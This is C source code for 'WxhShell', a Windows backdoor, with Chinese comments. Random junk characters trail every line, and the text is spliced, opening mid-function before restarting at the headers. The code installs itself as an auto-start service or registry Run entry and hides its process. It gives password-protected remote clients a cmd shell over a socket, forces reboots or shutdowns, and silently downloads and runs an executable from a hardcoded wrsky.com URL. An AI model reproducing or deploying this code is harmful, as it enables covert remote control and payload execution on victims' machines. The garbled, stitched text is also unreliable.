    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =C#22xqQ.  
    if(Boot(SHUTDOWN)) XcFu:B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >zX`qv&>  
    else { j4%\'xj:  
    closesocket(wsh); 4OOI$J$Jh  
    ExitThread(0); y/Ui6D  
    } g|Xjw Ti8$  
    break; p}]K0F!  
    } JuDadIrd{  
  // 获取shell ^V0I!&7lx  
  case 's': { tS3!cO\  
    CmdShell(wsh); f]NaQ!. 7  
    closesocket(wsh); v8U&{pD,  
    ExitThread(0); )0o|u>  
    break; 9}T(m(WQVu  
  } 7Vo[zo  
  // 退出 Z{^Pnit  
  case 'x': { :Qu.CvYF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RveEA/&&  
    CloseIt(wsh); .R^q$U~v3  
    break; ra F+Bt`  
    } 0`4Fa^o]h  
  // 离开 8vx#QU8E/  
  case 'q': { "lA8CA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~? n)/i("  
    closesocket(wsh); J\?d+}hynX  
    WSACleanup(); w""  
    exit(1); .Fx-$Yqy  
    break; :!w;Y;L:+  
        } &UQP9wS4v  
  } !JQ'~#jKN  
  } 3oC ^"723  
RY}:&vWDk  
  // 提示信息 YR"IPyj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P EMuIYm$  
} $-uMWJ)l  
  } XZ 4H(Cj  
7&2CLh  
  return; \|7Y"WEQ  
} E9Hyd #A  
b?:SCUI  
// shell模块句柄 `G2!{3UD  
int CmdShell(SOCKET sock) "|GX%> /  
{ 4Y{&y6  
STARTUPINFO si; \GCT3$  
ZeroMemory(&si,sizeof(si)); J%P{/nR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w/wU~~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L8cPNgZ   
PROCESS_INFORMATION ProcessInfo; xL|4'8  
char cmdline[]="cmd"; d=a$Gd_$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m8 Ti{w(  
  return 0; R ]y9>5 'U  
} T2}ccnDi  
3&Fqd  
// 自身启动模式 W C3b_ia  
int StartFromService(void) S^ JUQx7  
{ *Edr\P  
typedef struct 7WN$ rl5/  
{ 7J$Yd976  
  DWORD ExitStatus; sX#7;,Ft7  
  DWORD PebBaseAddress; l`vr({A  
  DWORD AffinityMask; Nu6]R677Y  
  DWORD BasePriority; Ts 3(,Y  
  ULONG UniqueProcessId; B=hJ*;:p  
  ULONG InheritedFromUniqueProcessId; Yd$64d7,h  
}   PROCESS_BASIC_INFORMATION; jAOD&@z1  
uH8`ipX  
PROCNTQSIP NtQueryInformationProcess; -0:B2B  
1a;&&!X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i ,g<y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {#%;HqP  
-u%'u~s  
  HANDLE             hProcess; KDy:A>_ G"  
  PROCESS_BASIC_INFORMATION pbi; b6gD*w <  
}S>:!9f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TkV$h(#!f&  
  if(NULL == hInst ) return 0; XrQS?D `  
U-GV^j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); be5NasC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); von~-51;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -~ ycr[}x  
7`6JK  
  if (!NtQueryInformationProcess) return 0; 0 B[eG49  
}lt]]094,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $; t#pN/`  
  if(!hProcess) return 0; i4oBi]$T  
 \ l8$1p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n)rF!a  
9 ulr6  
  CloseHandle(hProcess); Zx}.mt#}8  
hDs.4MZC`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); aXefi'!6  
if(hProcess==NULL) return 0; ?W"9G0hTqM  
U[8Cg  
HMODULE hMod; xj!_]XJ^w  
char procName[255]; O[fgn;@|  
unsigned long cbNeeded; _;+N=/l0  
y3!=0uPf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u!DSyHR '  
nNff~u)I  
  CloseHandle(hProcess);  Cz_chK4  
tEl4 !v A  
if(strstr(procName,"services")) return 1; // 以服务启动 = pS\gLQu  
A fctycQ-  
  return 0; // 注册表启动 "@I"0OA  
} l<$c.GgFd  
s/K}]F  
// 主模块 ZR'q.y[k)  
int StartWxhshell(LPSTR lpCmdLine) 9{bzxM  
{ 0Fh*8a}?b  
  SOCKET wsl; Wwf#PcC]  
BOOL val=TRUE; >9g`9hB  
  int port=0; :*!u\lV\  
  struct sockaddr_in door; WLWE%bDP  
_ QM  
  if(wscfg.ws_autoins) Install(); f6Wu+~|Y  
2eu`X2IBcT  
port=atoi(lpCmdLine); m!:7ur:Y  
bkl'0 p  
if(port<=0) port=wscfg.ws_port; >M^ 1m(  
y=\jQ6Fc  
  WSADATA data; MOG[cp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?Y'S /  
?8(`tS(_?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,\DB8v6l\A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LZG^\c$  
  door.sin_family = AF_INET; 2`vCQV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v mOXB#7W  
  door.sin_port = htons(port); k&DH QvfB  
[JVI@1T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c`X'Q)c&K  
closesocket(wsl); *4qsM,t  
return 1; u6y\GsM.a  
} &U xN.vl  
NI(`o8fN  
  if(listen(wsl,2) == INVALID_SOCKET) { M Zw%s(lv  
closesocket(wsl); ["Q8`vV0WO  
return 1; 9rao&\eH  
} %1VMwqC]E  
  Wxhshell(wsl); 2,&lGyV#  
  WSACleanup(); >W'SG3Hmc  
].dTEzL9X  
return 0; |k/;.  
AD?DIE(v  
} bOck^1Hky  
m4Wn$Z  
// 以NT服务方式启动 Pz|qy,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &"tce6&  
{ Lf0Hz")  
DWORD   status = 0; ;mi0Q.  
  DWORD   specificError = 0xfffffff; GYO\l.%V5y  
-;P<Q`{I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~#a1]w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; NxXVW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !W%HAlUAG[  
  serviceStatus.dwWin32ExitCode     = 0; 7-o=E=  
  serviceStatus.dwServiceSpecificExitCode = 0; WQ5sC[&   
  serviceStatus.dwCheckPoint       = 0; doR'=@ W  
  serviceStatus.dwWaitHint       = 0; rIb[gm)Rk  
"]_|c\98  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2/7=@>|  
  if (hServiceStatusHandle==0) return; @eT sS%f2  
q6Q=Zo@  
status = GetLastError(); "}OFwes  
  if (status!=NO_ERROR) ,\IqKRcYU  
{ 'hek CZZ_I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rp'fli?0e  
    serviceStatus.dwCheckPoint       = 0; Xl/G|jB9  
    serviceStatus.dwWaitHint       = 0; <Y orQ>  
    serviceStatus.dwWin32ExitCode     = status; T) ,:8/  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q"Ec7C5eM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GcU/   
    return; (j~V  
  } 4iLU "~  
i9xv`Ev=R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "qj[[L Q  
  serviceStatus.dwCheckPoint       = 0; z$Nk\9wm  
  serviceStatus.dwWaitHint       = 0; Agi1r]W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,oG"wgf  
} @qC:% |>  
%7d"()L  
// 处理NT服务事件,比如:启动、停止 k_a'a)`$6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *SY4lqN  
{ r\ %O$zu  
switch(fdwControl) `{wku@  
{ e6R "W9  
case SERVICE_CONTROL_STOP: yQA[X}  
  serviceStatus.dwWin32ExitCode = 0; $dnHUBB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f oVD+\~Y  
  serviceStatus.dwCheckPoint   = 0; P\ s+2/  
  serviceStatus.dwWaitHint     = 0; h]Oplp4 \W  
  { z}8YrVr@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2wBU@T1  
  } 0l6iv[qu5w  
  return; =_dd4`G&<  
case SERVICE_CONTROL_PAUSE: -7O/ed+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U9 59=e  
  break; 1!`768  
case SERVICE_CONTROL_CONTINUE: >slN:dr0:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %^l&fM*  
  break; l1)pr{A  
case SERVICE_CONTROL_INTERROGATE: N1!5J(V4  
  break; 9AYe,R  
}; L%d?eHF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y|Y3,s  
} JYr7;n'!  
'r n;|K  
// 标准应用程序主函数 zzQH@D1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (<C%5xk  
{ y+scJ+<  
&{/>Sv!6#  
// 获取操作系统版本 R{o*O_qX  
OsIsNt=GetOsVer(); wDhcHB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Cj1UD;  
_Af4ct;ng  
  // 从命令行安装 ]0i2 ]=J&,  
  if(strpbrk(lpCmdLine,"iI")) Install(); jN} 7Bb X  
>.hGoT!_k  
  // 下载执行文件 &&nO]p`  
if(wscfg.ws_downexe) { /C"s_:m;3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :J`!'{r  
  WinExec(wscfg.ws_filenam,SW_HIDE); (I[h.\%  
} !(_xu{(DL  
|J Q:.h  
if(!OsIsNt) { 8}oDRN!J  
// 如果时win9x,隐藏进程并且设置为注册表启动 Kc[u} .U  
HideProc(); +R#`j r"  
StartWxhshell(lpCmdLine); {qWG^Db  
} N^yO- xk  
else y [9}[NMZ  
  if(StartFromService()) DYKV54\ue  
  // 以服务方式启动 ;]ShC\1  
  StartServiceCtrlDispatcher(DispatchTable); lMzCDx !m  
else ls "\YSq$  
  // 普通方式启动 T{H#]BF<E  
  StartWxhshell(lpCmdLine); Fl+tbF  
a H|OA\<  
return 0; gqdB!l4  
} @ U8}sH^  
DET!br'z5  
Xf_tj:eO~  
0"<;You  
=========================================== ;Q>3N(  
E"1 ;i  
9MtJo.A  
S7NnC4)=-f  
KpbZnW}g  
=Sb:<q+Q  
" : 9?Cm`  
E2h;hr;W  
#include <stdio.h> 1[/$ZYk:  
#include <string.h> k`7.p,;}U  
#include <windows.h> &Rl3y\ r  
#include <winsock2.h> 9{UP)17  
#include <winsvc.h> [rUh;_b\D  
#include <urlmon.h> 3n84YX{  
"'}v0*[  
#pragma comment (lib, "Ws2_32.lib") kk /+Vx~  
#pragma comment (lib, "urlmon.lib") IQlw 914  
61+pryW%g  
#define MAX_USER   100 // 最大客户端连接数 ! F;<xgw  
#define BUF_SOCK   200 // sock buffer 1Oca@E\Z.  
#define KEY_BUFF   255 // 输入 buffer ycl>git]  
X6Nm!od'  
#define REBOOT     0   // 重启 S QM(8*:X  
#define SHUTDOWN   1   // 关机 Ql: b1C,  
J+cAS/MYX  
#define DEF_PORT   5000 // 监听端口 Y( V3P nH  
pRrqs+IJZ\  
#define REG_LEN     16   // 注册表键长度 94h_t@Q/1  
#define SVC_LEN     80   // NT服务名长度 *m| t =9E  
ezg^5o;  
// 从dll定义API w$b+R8.n)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Gdf1+mi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *< $c =  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %<=w[*i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gI^L 9jE7  
<*A|pns  
// wxhshell配置信息 M}=s3[d(,  
struct WSCFG { /jZaU`  
  int ws_port;         // 监听端口  d-ag  
  char ws_passstr[REG_LEN]; // 口令 \tiUE E|k  
  int ws_autoins;       // 安装标记, 1=yes 0=no Mz/]DJ8  
  char ws_regname[REG_LEN]; // 注册表键名 7Ykj#"BZ  
  char ws_svcname[REG_LEN]; // 服务名 P|e:+G7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kW<Yda<a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O?nPxa<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F_Z&-+,*3t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q SHx]*)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7d|*postv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S+) l[0  
'!j #X_;  
}; 6?3/Ul }  
9*}iBs  
// default Wxhshell configuration ,2 zt.aqB  
struct WSCFG wscfg={DEF_PORT, #D|! .I)  
    "xuhuanlingzhe", =_$XP   
    1, E3 ~,+68U  
    "Wxhshell", [+g(  
    "Wxhshell", ZdE>C   
            "WxhShell Service", e-[>( n/[  
    "Wrsky Windows CmdShell Service", j!zA+hF (  
    "Please Input Your Password: ", _'! aj +{  
  1, d] b~)!VW  
  "http://www.wrsky.com/wxhshell.exe", ^l Hb&\X  
  "Wxhshell.exe" Q!4i_)rM  
    }; V,>+G6e  
,N;))3  
// 消息定义模块 :V&N\>Wo  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F^ I\X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f,St h7y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vOos*&  
char *msg_ws_ext="\n\rExit."; 1^Kj8*O8e  
char *msg_ws_end="\n\rQuit."; q*~gWn>T  
char *msg_ws_boot="\n\rReboot..."; 1 L+=|*:  
char *msg_ws_poff="\n\rShutdown..."; [leW/2i  
char *msg_ws_down="\n\rSave to "; j y7  
VK@$JwdL  
char *msg_ws_err="\n\rErr!"; u9TzZ  
char *msg_ws_ok="\n\rOK!"; c u\ls^  
 uY.=4l  
char ExeFile[MAX_PATH];  Sa%zre@  
int nUser = 0; @bY('gC,  
HANDLE handles[MAX_USER]; . _1jk  
int OsIsNt; 6exRS]BI  
lkV6qIj   
SERVICE_STATUS       serviceStatus; .qSBh hH\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LYp'vZ!  
 ;KZrl`  
// 函数声明 ,5/V@;i  
int Install(void); -u6}T!  
int Uninstall(void); >R(8/#|E  
int DownloadFile(char *sURL, SOCKET wsh); 3rxo,pX94  
int Boot(int flag); .2e1S{9  
void HideProc(void); Ee&hG[sx  
int GetOsVer(void); W@l+ciZ_  
int Wxhshell(SOCKET wsl); A^pu  
void TalkWithClient(void *cs); U);OR  
int CmdShell(SOCKET sock); -<_7\09  
int StartFromService(void); 9u?(^(.  
int StartWxhshell(LPSTR lpCmdLine); Z)/6??/R  
L{=l#vu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gF3TwAr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !/947Rn  
NjbwGcH%\  
// 数据结构和表定义 hL0]R,t;'  
SERVICE_TABLE_ENTRY DispatchTable[] = $'^&\U~?  
{ prZ55MS.  
{wscfg.ws_svcname, NTServiceMain}, &} ,*\Oj  
{NULL, NULL} -n$ewV  
}; W}>=JoN^J  
.8]Y-  
// 自我安装 GJX4KA8J  
int Install(void) Y~az!8j;Z  
{ }'lNi^"XL  
  char svExeFile[MAX_PATH]; 9mQ#L<Ps  
  HKEY key; s;J\Kc?"|  
  strcpy(svExeFile,ExeFile); @&5A&(  
9RxO7K  
// 如果是win9x系统,修改注册表设为自启动 @;m$ua*|:  
if(!OsIsNt) { R*yU<9Mm8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^/*KNnAWp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ET)>#zp+s  
  RegCloseKey(key); NY@"&p'Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >!}`%pk(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JvkL37^ n:  
  RegCloseKey(key); L~dC(J)@ZI  
  return 0; khAqYu" )  
    } 6 mO"  
  } W/r^ugDV  
} [?KJ9~+0  
else { pCC7(Ouo  
YUscz!rM  
// 如果是NT以上系统,安装为系统服务 m"4B!S&Fc(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f7J,&<<5w  
if (schSCManager!=0) 8Mu;U3cIW  
{ Kd3QqVJBz1  
  SC_HANDLE schService = CreateService #dc1pfL!y{  
  ( tWY2o3j  
  schSCManager, .+E#q&=  
  wscfg.ws_svcname, . uR M{Bs  
  wscfg.ws_svcdisp, iq6a|XGi  
  SERVICE_ALL_ACCESS, wGJjA=C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Fk1.iRVzi  
  SERVICE_AUTO_START, =x0No*#|'  
  SERVICE_ERROR_NORMAL, s t/n"HQ  
  svExeFile, 6GYtY>  
  NULL, s /%:dnij  
  NULL, nxaT.uFd1  
  NULL, 1$ML#5+,  
  NULL, >t3'_cBC!  
  NULL ~ y;y(4<  
  ); 8$vK5Dnn8  
  if (schService!=0) '<@=vGsye  
  { TfRGA (+#  
  CloseServiceHandle(schService); U,; xZe  
  CloseServiceHandle(schSCManager); }Qrab#v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F9H~k"_ZJR  
  strcat(svExeFile,wscfg.ws_svcname); [f!O6moR6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aMK~1]Cx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;/LD)$_  
  RegCloseKey(key); wAYB RY[  
  return 0; }!)F9r@\  
    } ]hE="z=n  
  } 4v dNMV~  
  CloseServiceHandle(schSCManager); jm3G?Vnq  
} o }@n>R  
} f9TV%fG?  
5j^NV&/_  
return 1; 'v&}(  
} q\$6F)ha3  
C!%:o/  
// 自我卸载 Qw)9r{f  
int Uninstall(void) ~kKrDLW+  
{ %<Q*Jf  
  HKEY key; x<B'.3y  
D>sYPrf  
if(!OsIsNt) { $Ui&D I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AQ{zx1^2>K  
  RegDeleteValue(key,wscfg.ws_regname); >V;,#5F_  
  RegCloseKey(key); -5>NE35Cto  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <I=$ry6 8  
  RegDeleteValue(key,wscfg.ws_regname); x?r1s#88>  
  RegCloseKey(key); MZv\ C  
  return 0; lCb+{OB  
  } rwqv V ^  
} }zMf7<C  
} 8_we: 9A  
else { j"7 JLe*  
BW Uq%o,@g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 61K"(r~  
if (schSCManager!=0) ]tt} #  
{ &%F@O<:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p1O6+hRio  
  if (schService!=0) yA7 )Y})>  
  { n:#TOU1ix<  
  if(DeleteService(schService)!=0) { 83iCL;GS=  
  CloseServiceHandle(schService); BzbDZV  
  CloseServiceHandle(schSCManager); TD,nIgH`  
  return 0; XutF"9u  
  } TKI$hc3|L  
  CloseServiceHandle(schService); sbsu(Sz+  
  } =@r--E  
  CloseServiceHandle(schSCManager); =Hu0v}i/  
} F@vbSFv)/  
} N{joXHCu  
RA/EpD:H  
return 1; dcq#TBo8  
} LAs7>hM  
,=%nw]:  
// 从指定url下载文件 /iM$Tb5  
int DownloadFile(char *sURL, SOCKET wsh) e<=;i" |  
{ 3<(q }  
  HRESULT hr; *^XbDg9  
char seps[]= "/"; @h?crJ6$  
char *token; %w"nDu2Gcv  
char *file; 0Xl%uF+w  
char myURL[MAX_PATH]; ?&c:q3_-Z  
char myFILE[MAX_PATH]; Q GPw2Q  
kDsIp=  
strcpy(myURL,sURL); r6.N4eW.L  
  token=strtok(myURL,seps); JdNF-64ky  
  while(token!=NULL) j$@tK0P  
  { vK$^y^  
    file=token; yfe'>]7  
  token=strtok(NULL,seps); 1(gfdx9|b  
  } v%91k  
jj&s} _75  
GetCurrentDirectory(MAX_PATH,myFILE); Ill[]O  
strcat(myFILE, "\\"); jPJAWXB4a  
strcat(myFILE, file); i^2IW&+}e}  
  send(wsh,myFILE,strlen(myFILE),0); X[hM8G  
send(wsh,"...",3,0); yI8tH!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?9KGnOVu  
  if(hr==S_OK) pB01J<@m  
return 0; aW;aA'!  
else .{so  
return 1; ?p^2Z6J'$  
/L~m#HxWU  
} AXW!]=?X  
"> 90E^  
// 系统电源模块 HD-Erop  
int Boot(int flag) 2@i;_3sv  
{ *HlDS22  
  HANDLE hToken; 8jnz}aBd  
  TOKEN_PRIVILEGES tkp; JOfV]eCL  
v3^|"}\q5  
  if(OsIsNt) { 5cTY;@@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;e{5)@h$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U[8{_h<#  
    tkp.PrivilegeCount = 1; '"xiS$b(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G\~^&BAC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ])T/sO#'  
if(flag==REBOOT) { ok0X<MR!I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '044Vm;/  
  return 0;  *4yN3y  
} n[" 9|  
else { h)dRR_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7 .+al)hl  
  return 0; aiux^V  
} Z^_>A)<s<  
  } |C-y}iQ:6~  
  else { =ApY9`  
if(flag==REBOOT) { ~j& ?/{7I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2Rptxb_@  
  return 0; 6 =>G#  
} ^.HWkS`e  
else { -2*>`,Uu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %z)EO9vtr  
  return 0; uxDLDA$;  
} X47!E |*  
} F(4yS2h(  
ukihx?5  
return 1; 80&D""  
} Q[_Ni15  
LDQ e^  
// win9x进程隐藏模块 kL;t8{n  
void HideProc(void) 14l; *  
{ K H}t:m+h  
O),I[kb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wn84?$BGd  
  if ( hKernel != NULL ) 6>B \|  
  { $u5.!{Wq?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *l!5QG UoK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E .;io*0  
    FreeLibrary(hKernel); SIv[9G6  
  } [%~NM/xu<  
q/'MS[C  
return; }td6fj_{  
} k?-S`o%Q  
Z;J`5=TS  
// 获取操作系统版本 RKk"  
int GetOsVer(void) L>:FGNf^H  
{ #pa\ 2d|  
  OSVERSIONINFO winfo; NDo^B7 R-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ar5JP_M`E  
  GetVersionEx(&winfo); 8A_TIyh?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8Mb$+^zU  
  return 1; .~,^u  
  else 8;.` {'r  
  return 0; h7RD `k:mF  
} i*A$SJ:}  
b,vL8*  
// 客户端句柄模块 Esa6hU#  
int Wxhshell(SOCKET wsl) Iq@IUFpc7~  
{ 0gi}"v  
  SOCKET wsh; 2dyxKK!\a  
  struct sockaddr_in client; -W6V,+of  
  DWORD myID; o HRbAE^  
Bf(Mot^  
  while(nUser<MAX_USER) i59k"pNm  
{ GiFf0c 9  
  int nSize=sizeof(client); ,gx$U@0Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KK .cDAR  
  if(wsh==INVALID_SOCKET) return 1; K1 6s)S'  
LVWxd}0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A7e_w 7?a  
if(handles[nUser]==0) WT1q15U(=  
  closesocket(wsh);  ^ M8k  
else U(8I+xZ  
  nUser++; %pM :{Z  
  } f`bIQ9R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &a~L_`\'  
oRV] p  
  return 0; BD?F`%-x  
} <w%DyRFw3  
L5TNsLx(  
// 关闭 socket B0NN>)h  
void CloseIt(SOCKET wsh) Ho:}Bn g  
{ uk`d,xF   
closesocket(wsh); i"ck`6v"8  
nUser--; mp muziH  
ExitThread(0); Zu)i+GeG  
} pC55Ec<  
?BXP}]  
// 客户端请求句柄 v] W1F,u  
void TalkWithClient(void *cs) 8rnb  
{ o&*1U"6D  
0<6rU  
  SOCKET wsh=(SOCKET)cs; hVROzGZk  
  char pwd[SVC_LEN]; LAOdH/*:  
  char cmd[KEY_BUFF]; Cv gPIrl  
char chr[1]; !tm|A`<g#<  
int i,j; (mu{~@Hw  
eimA *0Cq  
  while (nUser < MAX_USER) { }:K\)Pd  
\5j22L9S  
if(wscfg.ws_passstr) { >Lo6='G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4'd;'SvF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @#G6z`,  
  //ZeroMemory(pwd,KEY_BUFF);  4Ub?*  
      i=0; K gR1El. r  
  while(i<SVC_LEN) { 7"h=MB_  
p P_wBX  
  // 设置超时 5)/4)0  
  fd_set FdRead; g: H[#I  
  struct timeval TimeOut; ZlwcwoPib  
  FD_ZERO(&FdRead); ROlzs}  
  FD_SET(wsh,&FdRead); A`+(VzZgJ  
  TimeOut.tv_sec=8; N6-2*ES  
  TimeOut.tv_usec=0; Q&:92f\y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {H~8'K-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #8WR{  
-wG[>Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q>#)LHX  
  pwd=chr[0]; T-<>)N5y  
  if(chr[0]==0xd || chr[0]==0xa) {  A[wxa  
  pwd=0; )%nt61P\W  
  break; #lLn='4  
  } D8<0zxc=(  
  i++; oIu,rjb  
    } tCF0Ah  
QWIOim-  
  // 如果是非法用户,关闭 socket #o}{cXX#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Bm2}\KOI  
} U:T5o]P<  
%WXVfkD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =Un6|]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t9=|* =;9)  
7lBQd(  
while(1) { ? ><   
X/?h!Y}  
  ZeroMemory(cmd,KEY_BUFF); ?!Th-Cc&m  
n"Z,-./m  
      // 自动支持客户端 telnet标准   'f$?/5@@  
  j=0; ~[bMfkc3  
  while(j<KEY_BUFF) { p-i]l.mT5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .k?hb]2N  
  cmd[j]=chr[0]; hPCSLJ  
  if(chr[0]==0xa || chr[0]==0xd) { 3YZ3fhpw  
  cmd[j]=0; HS|g   
  break; =[CS2VQ'  
  } ;7hX0AK  
  j++; 28ov+s~1+-  
    } | 2c!t$O@v  
VIlQzM;%^  
  // 下载文件 2H32wpY ,l  
  if(strstr(cmd,"http://")) { Z_ FL=S\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .4m3@!qo)E  
  if(DownloadFile(cmd,wsh)) D;;o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 ShlYW@~  
  else V IRv  
